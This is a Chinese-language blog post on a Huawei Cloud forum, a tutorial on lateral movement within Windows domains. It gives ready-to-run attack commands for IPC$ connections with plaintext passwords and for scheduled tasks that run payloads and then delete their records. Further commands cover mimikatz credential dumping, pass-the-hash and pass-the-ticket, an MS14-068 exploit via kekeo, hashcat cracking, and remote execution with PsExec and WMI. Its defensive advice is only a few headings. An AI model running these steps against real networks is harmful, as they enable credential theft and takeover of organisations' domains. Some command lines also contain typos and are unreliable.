内网渗透基石篇 | 域内横向移动分析及防御(上)

举报
亿人安全 发表于 2023/05/31 21:02:53 2023/05/31
【摘要】 前言:你的自信是因为你没见过世面,因为你没有和真正的高手对决过。一、简介域内横向移动技术就是在复杂的内网攻击中被广泛使用的一种技术,尤其是在高级持续威胁中。攻击者会利用该技术,以被攻陷的系统为跳板,访问其他 域内主机,扩大资产范围(包括跳板机器中的文档和存储的凭证,以及通过跳板机器连接的数据库、域控制器或其他重要资产)。1 常用windows 远程连接和相关命令在渗透测试中,拿到目标计算机的...

前言:你的自信是因为你没见过世面,因为你没有和真正的高手对决过。

一、简介

域内横向移动技术就是在复杂的内网攻击中被广泛使用的一种技术,尤其是在高级持续威胁中。攻击者会利用该技术,以被攻陷的系统为跳板,访问其他 域内主机,扩大资产范围(包括跳板机器中的文档和存储的凭证,以及通过跳板机器连接的数据库、域控制器或其他重要资产)。

1 常用windows 远程连接和相关命令

在渗透测试中,拿到目标计算机的用户明文密码或者NTLM hash后,可以通过pth的方法,将散列值或明文密码传送到目标机器中进行验证。与目标机器建立连接后,可以使用相关方法在远程windows 操作系统中执行命令。在多层代理环境进 行渗透测试时,由于网络条件比较差,无法使用图形化界面连接主机。此时,可以使用命令行的方式连接主机(最好使用windows自带的方法对远程目标系统进行命令行下的操作)

IPC

IPC 共享"命名通道"的资源,是为了实现进程间通信而开发的命名通道。IPC可以通过验证用户名和密码获得权限,通常在远程管理计算机和查看计算机的共享资源时使用。

通过ipc$,可以与目标机器建立连接。利用这个连接,不仅可以访问,目录机器中的文件,进行上传,下载等操作,还可以在目标机器上运行其他命令,以获取目标机器的目录结构、用户列表等信息。

首先,需要建立一个ipc$.

net use \\ 192.168.100.190\ipc$ "Aa123456@” /user:administrator

1625402966_60e1ae5645ef39fedfdaa.png!small?1625402966679

1.ipc$的利用条件

开启了139、445端口

管理员开启了默认共享

2.ipc$连接失败的原因

用户名或密码错误

目标没用有打开ipc$默认共享

不能成功连接目标的139、445端口

命令输入错误

3.常见错误号

错误号5:拒绝访问

错误号51:windows 无法找到网络路径,即网络中存在的问题。

错误号53:找不到网络路径,包括ip地址错误、目标未开机、目标的lanmanserver服务未启动、目标有防火墙。

错误号67:找不到网络名,包括lanmanworkstation服务未启动、IPc$已被删除。

错误号1219:提供的凭据与已存在的凭据集冲突。

错误号1326:未知的用户名或错误的密码

错误号1792:试图登录,但是网络登录服务没用启动,包括目标NEtLogon服务未启动

错误号2242: 此用户的密码已经过期。

2 使用windows自带的工具获取目标主机信息

1.dir命令

dir \\192.168.160.135\C$

1625402985_60e1ae69f3f1f831384d8.png!small?1625402986630

1625402994_60e1ae72c8606dfbe661a.png!small?1625402995248

查看远程主机的C盘文件

2.tasklist命令

查看远程主机上运行的进程

tasklist /S 192.168.160.135 /U HACKBIJI\Administrator /P W2ngluoanquan

1625403005_60e1ae7d3483a9f5ecc51.png!small?16254030057183 计划任务

1.at命令

at是windows自带的用于创建计划任务的命令,使用at命令可以在远程目标上创建计划任务,建立定时任务四部曲如下:

使用net time 命令确定远程机器当前的系统时间

使用copy命令将payload文件复制到远程目标机器中

使用at命令定时启动该payload文件

删除使用at命令创建计划任务的记录

(1)查看目标系统时间

1625403015_60e1ae87b19192dc2e82c.png!small?1625403016125

(2)将文件复制到目标系统中

1625403026_60e1ae928be4d7fe345a8.png!small?1625403026935

(3) 使用at创建计划任务

1625403034_60e1ae9a5a4c766b6426d.png!small?1625403034962

(4)清除at记录

1625403041_60e1aea1a1a895c41409c.png!small?1625403042219

2.schtasks命令

schtasks命令比at命令更加强大、灵活。创建计划任务,该计划任务在开机时启动,运行c盘下的calc.bat批处理任务,运行权限是system。

1625403050_60e1aeaabbbf808a4c73b.png!small?1625403051237

1625403059_60e1aeb361539a4f4dc59.png!small?1625403059848

1625403067_60e1aebbe35ce226bd8fd.png!small?1625403068422

1625403077_60e1aec51918e1240ee30.png!small?1625403077536

二、 windows系统散列值获取分析与防范

windows操作系统通常会对用户的明文进行加密处理,在域环境下,用户信息存储在ntds.dit中,加密后为散列值。一般看到的都是这样的结构:

username:rid:lm-hash:nt-hash

其中lm-hash已经废弃了,那么黑客要破解的也就是nt-hash,要在windows系统中抓取nt-hash或者明文,必须要system权限。本地用户名、散列值和其他安全验证信息都保存在SAM文件中,本文讲的是通过几款不同的工具,分别从内存中(lsass.exe进程)读取nt-hash或者密码明文,最后给出了及时更新微软官方推送的补丁等防范措施。

1 LM HASh 和NTLM HASH

2 单机密码抓取与防范

1.GETPAss

下载下来,运行x64位的程序,直接获得系统所有用户的密码,简直不要太牛。不过,为啥运行后,字体都变成绿色的,这是说学黑客会变绿吗?

1625403088_60e1aed0767e725300575.png!small?1625403088970

2.PWnDUMP7

也是直接运行,稍微逊色一点点,只能拿到Hash,还需要通过彩虹表破解,或者留着以后通过哈希传递进行横向渗透。

3.通过SAM和System文件抓取密码

1.导出SAM和System文件

2.通关读取SAM和System 文件获得NTLMHash

1625403122_60e1aef260b15e9ea459c.png!small?1625403122859

1.使用mimikatz读取SAM和Sytstem文件

1625403132_60e1aefc19c02dc4b5723.png!small?1625403133051

1625403148_60e1af0cb8cb4296a81e9.png!small?1625403149338

2.使用CAin读取SAM文件

4.使用mimikatz在线读取SAM文件

mimikat是法国技术大神Benjamin Delpy使用C语言写的一款轻量级系统调试工具,爱了爱了。该工具可以从内存中提取明文密码、散列值、PIN和K8S票据,还可以执行哈希传递、票据传递、构建黄金黄金票据。输入下面命令,直接拿到本地所有用户的明文密码,强大。

mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords"

1625403157_60e1af15e4efc107f1a92.png!small?1625403158447

5.使用mimikatz离线读取lsass.dmp文件

I.导出lsass.dmp文件

1.使用任务管理器导出lass.dmp文件

2.使用Procdump和lass.dmp文件

II.使用mimikatz导出lsass.dmp文件中的密码散列值

6.使用powershell对散列值进行DUmp操作

7.使用Powershell远程加载mimikatz抓取散列值和明文密码

3.单机密码抓取的防范方法

安装微软发布的KB2871997补丁

关闭Wdigest功能(Windows Server 2012版本以上默认关闭)

1.使用reg add命令

2.使用powershell

三、 使用hashcat获取密码

kali rolling自带的密码破解工具,支持破解windows密码、linux密码、office密码、Wi-Fi密码、mysql密码、sql server密码、以及md5、sha1、sha256等哈希散列~

1625406791_60e1bd4782cbddfbd10e1.png!small?1625406792068

原理

通常访问一个UNC路径时,如果没有指定,Windows会自动用当前用户的凭证进行NTLM认证,例如dir \\Target\aaa,由于Window会在lsass中缓存hash值,并使用它们进行认证,所以理论上在lsass中添加包含目标账户的hash的合法数据结构,就可以在使用类似于dir这些命令时用目标账户进行认证

攻击方式

1.获取一台域主机高权限

2.利用mimikatz等工具导出密码hash

3.用导出的hash尝试登陆其他域主机

1.安装Hashcat

(1)下载源码编译和安装

(2)使用编译好的二进制文件安装

2.hashcat 的使用方法

(1)指定散列值的类型

(2)指定破解模式

(3)常用命令

-a 3 暴力破解(后面的?d?d?d?d?d?d表示6位数字,属于暴力破解)

-m 0 说明需要破解的是MD5

hashcat -a 3 -m 0 --force e10adc3949ba59abbe56e057f20f883e ?d?d?d?d?d?d

1625403173_60e1af25a4458d0bdeb39.png!small?1625403174204

2.批量爆破

把密码放到文件中,这种破解叫做字典攻击,相当于撞库,只需要6秒,是不是快了一点点。把等待破解的密文放到文件中,可以实现批量破解。我的密码很简单:

a 0 字典模式(后面的pass.txt表示明文密码文件,也就是需要撞的密码库)

-m 0 说明需要破解的是MD5

1.用hash值做字典

1625403181_60e1af2da3404c8454bb5.png!small?1625403182151

2.用密码做字典

1625403190_60e1af36c1115d51e7c48.png!small?1625403191724

3.爆破

hashcat -a 0 -m 0 --force hash.txt pass.txt

1625403197_60e1af3d87b466f74b6c7.png!small?1625403197965

4.得到密码1625403205_60e1af458ea54bf8c76d2.png!small?1625403206110

3、 如何防范攻击者抓取明文密码和散列值

1.设置Active Directory 2012 R2 功能级别

2.安装KB2871997

3.通过修改注册表禁止在内存中存储明文密码

4.防御mimikatz攻击

4. 哈希传递攻击分析与防范

1. 哈希传递攻击的概念

大多数渗透测试人员都听说过哈希传递攻击,该方法通过找到与账户相关的密码散列值(通常是NTlm hash)来进行攻击。在域环境中,用户登录计算机时使用的大都是域账号,大量计算机在安装使用相同的本地管理员账户和密码,因此,如果计算机的本地管理员账号和密码也是相同的,攻击者就能使用哈希传递攻击的方法登录内网中的其他计算机。

2 哈希传递攻击分析

实验1:使用NTLM Hash进行哈希传递

目标机器的环境(假定的受害者机器)

域信息:hacke.test

域内用户:administrator

密码:xxxxx(未知信息)

哈希:8c0a2bd6****790228ea(已知信息)

IP地址:192.168.1.2已知信息)

1.运行mimikatz,弹出cmd命令

1625403223_60e1af57e9f23d8f6da33.png!small?1625403224450

2.弹出cmd命令框

1625403231_60e1af5fe02749c4984fe.png!small?1625403232403

3.dir看看是否连接

1625403238_60e1af663b1b41fe74cf1.png!small?1625403238654

实验2: 使用AES-256密钥进行哈希传递

实验环境:远程系统(必须安装KB2871997)

域信息:hacke.test

域内用户:administrator

密码:xxxxx(未知信息)

哈希:8c0a2bd6****790228ea(已知信息)

IP地址:192.168.1.2已知信息)

实验步骤:1.mimikatz ''privilege::debug" "sekurlsa::ekeys"

2.在远程机器,以管理员运行mimikatz

mimikatz "privilege::debug" "sekurlsa::pth  /user:administrator /domain:hacke.test  
/aes256:xxxxxxxxxxxxxxxxxxxxxxxxxxxxx

注意事项:

dir后跟要使用的主机名,而不是ip地址。

除了aes-256密钥,aes-128也可以哈希传递

如果安装了KB2871997,任然可以使用SID为500的用户进行哈希传递

如果要使用mimikatz的哈希传递功能,需要具有本地管理员权限。

3 更新KB2871997补丁产生的影响

微软 在2014年5月发布了KB2871997.该补丁禁止通过本地管理员权限与远程计算机进行连接,其后果是,无法通过本地管理员权限对远程计算机使用psExee,WMi,smbexec、schtasks、at,也无法访问远程主机的文件共享等。

四、票据传递攻击分析与防范

要想使用mimikatz的哈希传递功能,必须具有本地管理员权限。mimikatz同样提供了不需要本地管理员权限进行横向渗透测试的方法,例如票据传递。

1. 使用mimikatz进行票据传递

使用横向移动神器mimikatz可以将内存中的票据导出来,首先在目标机器上以管理员权限运行下面的命令,就可以直接导出一堆不同主机的票据信息(KIRBI文件),从中选择一个目标系统自己的,移动到黑客机器上。(顺便说一下,直接在黑客机器上也能拿到目标机器的票据~)

在目标机器上以管理员权限,输入命令,获得票据

将票据移动到黑客机器上

1625403252_60e1af749eee37c452c23.png!small?1625403253133

1625403259_60e1af7b7216c8be796d7.png!small?1625403259933

1625403265_60e1af818293e4586ca36.png!small?1625403266033

1625403272_60e1af88299234678ae95.png!small?1625403272592

2 使用kekeo进行票据传递

kekeo也是一款开源的票据传递工具

kekeo需要指定域名、用户名、NTLM哈希来生成票据

方法:通过kekeo.exe获取域控权限,此工具并非每次都能成功利用。

需要拥有一个域账号的账号密码明文

net group "domain controllers" /domain 获取主域控地址

使用msf对其漏洞进行检测,如果漏洞利用成功会生成一个bin文件

poc:use auxiliary/admin/kerberos/ms14_068_kerberos_checksum

1625403280_60e1af90700e857d759f0.png!small?1625403280856

上传exp至临时目录

klist  列出票据

klist purge  清除票据

1625403289_60e1af99959d89756737d.png!small?1625403290151

kekeo.exe "exploit::ms14068 /domain:yiwang.com /user:admin123 /password:admin@AAA... /ptt" "exit"

漏洞利用成功后成功访问域控c$目录

1625403297_60e1afa1946f7e17252f1.png!small?1625403298069

方法二

防止以msf爆出神奇操作,以msf检测漏洞为标准的情况所以...

1625403308_60e1afac9b4c77f7f391c.png!small?1625403309127

3 如何防范票据传递攻击

1,使用dir命令时,务必使用主机名。如果使用ip地址,就会导致错误。

2,票据文件注入内存的默认有效时间为10小时

3.在目标机器上不需要本地管理员权限即可进行票据传递

五、 PsExec的使用

1 PsTools 工具包中的PsExec

1625403349_60e1afd5859fb055315da.png!small?1625403350637

1625403326_60e1afbe5f997936a85b9.png!small?1625403332343

如果没有提前建立好IPC$,PsExec也可以通过指定账号和密码的方式,进行远程连接。

.\PsExec.exe \\192.168.160.135 -u HACKBIJI\ailx00 -p WoShi@Ailx10 cmd.exe

2 Metasploit中的psexec模块

1.use exploit/windows/smb/psexec 模块。

1625403349_60e1afd58f4b45ed62545.png!small?1625403350679

2.设置paylaod。

1625403356_60e1afdcb27c2d20f35ce.png!small?1625403357343

3.然后执行

1625403364_60e1afe45760bb7d6535c.png!small?1625403365001

六、 WMI的使用

1 基本命令

1625403371_60e1afeba3aab63a0a293.png!small?1625403372081

1625403377_60e1aff1e28ad3d1b8791.png!small?1625403378450


1625403387_60e1affb98366d6f85890.png!small?1625403388098

2 impacket工具包中的wmiexec

kali --> windows server 2012 (成功)

获取远程windows系统的控制权

不需要输入域信息

进入impacket目录,先执行pip install .安装依赖

然后就可以轻松拿到远程windows server 2012系统的控制权了

1625403399_60e1b007996d2aa757315.png!small?1625403400116

1625403406_60e1b00e6892808675c50.png!small?1625403407219

3 weiexec.vbs

WMIEXEC支持两种模式,一种是半交互式shell模式,另一种是执行单条命令模式。

WMIEXEC需要提供账号密码进行远程连接,但是如果没有破解出账号密码,也可以配合WCE的hash注入功能一起使用,先进行hash注入,然后再使用WMIEXEC即可。

cscript.exe //nologo wmiexec.vbs /shell 192.168.1.1 username password

单个命令执行的模式

这个模式适用于只需要执行一个命令,或者说当前的环境不是交互式shell,没法运行WMIEXEC的shell模式时(比如在webshell里面)。

原理

整个过程是先调用WMI通过账号密码或者NTLM认证(WCE注入)连接到远程计算机,然后如果提供了账号密码,则用这个账号密码建立一个到目标的IPC连接。随后WMI会建立一个共享文件夹,用于远程读取命令执行结果。

当用户输入命令时,WMI创建进程执行该命令,然后把结果输出到文件,这个文件位于之前创建的共享文件夹中。最后,通过FSO组件访问远程共享文件夹中的结果文件,将结果输出。当结果读取完成时,调用WMI执行命令删除结果文件。最后当WMIEXEC退出时,删除文件共享。

由于WMI只负责创建进程,没有办法可以判断命令是否执行完毕,所以脚本采用的方法是延迟1200ms后读取结果文件,但是如果命令执行的时间大于1200ms,比如systeminfo 或者ping之类的,这时候读取结果文件会导致读取的结果不完整,然后在删除结果文件时会出错。

4 invoke-WmiCommand

//目标系统名
$User="pentest/administrator"
//目标系统密码
$Password=ConveetTo-SecureString-String "a123456#" -AsPlainText -Force
//将账号和密码整合
$Cred=New-Object -TypeName System.Management.Automation.PSCredential
//远程执行命令
$Remote=Invoke-WmiCommand-Payload {ipconfig}-ComputerName 192.168.100.205
//将执行结果输出到屏幕上
$Remote.PayLoadOutput

总结

本文主要从内网横向移动出发,主要介绍当拿下一台主机之后如何使用一些工具来进行横向移动,扩大攻击范围。中间介绍了一些脚本和工具的使用,还做了几个实验来理解这些工具。

【版权声明】本文为华为云社区用户原创内容,转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息, 否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。